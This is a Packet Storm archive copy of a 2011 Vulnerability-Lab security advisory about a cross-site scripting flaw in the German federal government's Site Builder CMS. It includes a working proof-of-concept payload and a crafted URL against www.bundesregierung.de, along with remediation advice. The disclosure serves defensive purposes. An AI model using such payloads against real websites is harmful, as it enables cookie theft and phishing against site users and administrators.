what you don't know can hurt you

Bundesregierung Website Cross Site Scripting

Bundesregierung Website Cross Site Scripting
Posted Dec 21, 2011
Authored by Alexander Fuchs | Site vulnerability-lab.com

Bundesregierung Website suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | be2ca7c81624e3469ac3e546100716e6

Bundesregierung Website Cross Site Scripting

Change Mirror Download
Bundesregierung Website - Cross Site Scripting Vulnerability




Der Government Site Builder (GSB) wurde als zentrale Content-Management-Lösung für die Webangebote der deutschen
Bundesverwaltung entwickelt. Er entstand im Rahmen der E-Government-Initiative BundOnline 2005 als Basiskomponente
Content-Management-System (CMS) für die Internet-, Intranet- sowie Extranet-Aktivitäten der Bundesverwaltung und liegt
seit Februar 2011 in der Version 4.1 vor.

(Copy of the Vendor Website: http://www.bundesregierung.de)

A Vulnerability-Lab researcher discovered a non reflective cross site scripting vulnerability in the government site builder CMS.

2011-12-18: Public or Non-Public Disclosure




A non reflective cross site scripting vulnerability is detected in the media module of the government site builder.
The bug allows an attacker to steal admin and user cookies or build a phishing layer over the page with a prepared link.

Vulnerable Module(s):
[+] videos.html

Vulnerable Param(s):

[+] ?page=

Important Param(s):

[+] &view=coverflow

Proof of Concept:
The vulnerability can be exploited by remote attacker with required user inter action. For demonstration or reproduce ...

"};</script><iframe src=//www.vulnerability-lab.com/ onload=alert('CrossSiteScripting')>

www.bundesregierung.de/Webs/Breg/DE/Mediathek/Videos/videos.html?page=2"};</script><iframe src=//www.vulnerability-lab.com/

--- Output Review ---
var flashvars = {
file: "/Webs/Breg/DE/Mediathek/Videos/Functions/FilterListeTabelle-Coverflow,templateId=r
enderCoverflowXML,nnp=670562.xml?view=coverflow%26page=2"};</script><iframe src=//www.vulnerability-lab.com/
vars: ""

To fix the security issue the manufacturer have to allow only numbers in the vulnerable parameter. It is always a good idea to
check all inputs with a whitelist of expect inputs. There are also techniques to block requests to other domains.

The security risk of the reflective xss vulnerability is estimated as low(+).

Vulnerability Research Laboratory - Alexander Fuchs (f0x23)

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2011|Vulnerability-Lab

Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    11 Files
  • 17
    Sep 17th
    16 Files
  • 18
    Sep 18th
    8 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2019 Packet Storm. All rights reserved.

Security Services
Hosting By